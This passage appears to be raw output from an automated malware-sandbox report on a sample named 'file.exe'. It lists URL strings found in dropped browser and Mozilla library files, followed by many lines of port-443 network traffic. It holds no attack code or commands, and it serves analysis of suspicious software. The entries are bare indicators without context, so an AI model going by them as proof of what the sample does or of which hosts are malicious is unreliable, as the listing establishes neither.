Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_471.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_471.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_471.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_471.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376689116597138.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_471.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, AFHDHCAA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: b3f1c9f0-0793-47f1-ab74-59fb678e049c.tmp.10.dr, a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_471.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_471.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_471.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1893716449.0000000023AAA000.00000004.00000020.00020000.00000000.sdmp, KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
